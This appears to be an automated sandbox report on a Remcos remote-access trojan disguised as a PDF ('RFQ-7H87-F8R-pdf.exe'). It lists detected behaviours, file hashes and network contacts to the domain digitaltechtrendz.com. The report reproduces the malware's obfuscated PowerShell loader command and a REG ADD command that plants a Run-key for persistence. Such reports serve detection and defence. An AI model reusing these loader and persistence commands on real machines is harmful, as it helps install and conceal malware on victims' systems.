Analysis Overview
SHA256
3b97b5da457f961783873c0c1f09924e4e1b16931811a9118a6185290103b918
Threat Level: Known bad
The file RFQ-7H87-F8R-pdf.exe was found to be: Known bad.
Malicious Activity Summary
Remcos
Adds Run key to start application
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of SetThreadContext
Enumerates physical storage devices
Command and Scripting Interpreter: PowerShell
Program crash
System Location Discovery: System Language Discovery
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Modifies registry key
Suspicious behavior: MapViewOfSection
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-13 12:59
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-13 12:59
Reported
2024-08-13 13:01
Platform
win7-20240708-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Remcos
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\Helias = "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\\Chenillernes\\').Rytmisere;%Sicknessproof% ($Housecleaning)" | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2972 set thread context of 1500 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\reg.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle minimized " $Cocytus=Get-Content 'C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne';$Ambassadrmde=$Cocytus.SubString(57807,3);.$Ambassadrmde($Cocytus)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helias" /t REG_EXPAND_SZ /d "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\Chenillernes\').Rytmisere;%Sicknessproof% ($Housecleaning)"
C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helias" /t REG_EXPAND_SZ /d "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\Chenillernes\').Rytmisere;%Sicknessproof% ($Housecleaning)"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | digitaltechtrendz.com | udp |
| US | 8.8.8.8:53 | digitaltechtrendz.com | udp |
| GB | 185.221.216.247:80 | digitaltechtrendz.com | tcp |
Files
memory/2972-85-0x00000000736F1000-0x00000000736F2000-memory.dmp
memory/2972-86-0x00000000736F0000-0x0000000073C9B000-memory.dmp
memory/2972-87-0x00000000736F0000-0x0000000073C9B000-memory.dmp
memory/2972-88-0x00000000736F0000-0x0000000073C9B000-memory.dmp
memory/2972-89-0x00000000736F0000-0x0000000073C9B000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne
| MD5 | 99360cbea01ba5d275ab8d13defef9e6 |
| SHA1 | 877c8b2a325b989afd8692043026cdfe45ee2864 |
| SHA256 | 6b66692c69cfb96bfb20a35c1b810ececaa9c3e1674e35ec46bd93108b12d4a0 |
| SHA512 | 22236972fe8232239d37602dd41f828f52a820c76bb2407ee02c09b89472f6d5d5c252ba638ea281c9922f793af8cf2b67bbc61c3c9ac29c904eadb54784b303 |
memory/2972-92-0x00000000736F0000-0x0000000073C9B000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Valutakursernes.Dve
| MD5 | c5193b51055addd729bd7160c6612044 |
| SHA1 | 0cc227f487327ac49a0a582ba8014d92d120207f |
| SHA256 | 18e4703c2fd844f8a5d2bfe938b1ee9ced57092d9a80bca98a7caafb4954df3c |
| SHA512 | 67b8a069575fd7d11d12a3794e3e101a655546dfb3e216ef2700704db9c9cee7ed358376b89d031cb2a0d2f2c357eff59555701403c185476c18ab84633e93b9 |
memory/2972-94-0x00000000736F0000-0x0000000073C9B000-memory.dmp
memory/2972-95-0x0000000006680000-0x00000000086F6000-memory.dmp
memory/2972-96-0x00000000736F0000-0x0000000073C9B000-memory.dmp
memory/1500-97-0x00000000006A0000-0x0000000001702000-memory.dmp
memory/1500-100-0x00000000006A0000-0x0000000001702000-memory.dmp
memory/1500-103-0x00000000006A0000-0x0000000001702000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-13 12:59
Reported
2024-08-13 13:01
Platform
win10v2004-20240802-en
Max time kernel
140s
Max time network
127s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1168 wrote to memory of 2716 | N/A | C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1168 wrote to memory of 2716 | N/A | C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1168 wrote to memory of 2716 | N/A | C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle minimized " $Cocytus=Get-Content 'C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne';$Ambassadrmde=$Cocytus.SubString(57807,3);.$Ambassadrmde($Cocytus)"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 2716 -ip 2716
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2716 -s 2776
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.177.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
Files
memory/2716-83-0x0000000073D0E000-0x0000000073D0F000-memory.dmp
memory/2716-84-0x0000000000C60000-0x0000000000C96000-memory.dmp
memory/2716-85-0x0000000073D00000-0x00000000744B0000-memory.dmp
memory/2716-86-0x0000000004D60000-0x0000000005388000-memory.dmp
memory/2716-87-0x0000000073D00000-0x00000000744B0000-memory.dmp
memory/2716-88-0x0000000004A80000-0x0000000004AA2000-memory.dmp
memory/2716-90-0x0000000004C40000-0x0000000004CA6000-memory.dmp
memory/2716-89-0x0000000004B20000-0x0000000004B86000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u251vfjy.sc2.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2716-100-0x00000000054D0000-0x0000000005824000-memory.dmp
memory/2716-101-0x0000000005AA0000-0x0000000005ABE000-memory.dmp
memory/2716-102-0x0000000005AF0000-0x0000000005B3C000-memory.dmp
memory/2716-103-0x0000000006030000-0x00000000060C6000-memory.dmp
memory/2716-104-0x0000000005FE0000-0x0000000005FFA000-memory.dmp
memory/2716-105-0x0000000006C80000-0x0000000006CA2000-memory.dmp
memory/2716-106-0x0000000007260000-0x0000000007804000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne
| MD5 | 99360cbea01ba5d275ab8d13defef9e6 |
| SHA1 | 877c8b2a325b989afd8692043026cdfe45ee2864 |
| SHA256 | 6b66692c69cfb96bfb20a35c1b810ececaa9c3e1674e35ec46bd93108b12d4a0 |
| SHA512 | 22236972fe8232239d37602dd41f828f52a820c76bb2407ee02c09b89472f6d5d5c252ba638ea281c9922f793af8cf2b67bbc61c3c9ac29c904eadb54784b303 |
memory/2716-108-0x0000000007E90000-0x000000000850A000-memory.dmp
memory/2716-110-0x0000000073D00000-0x00000000744B0000-memory.dmp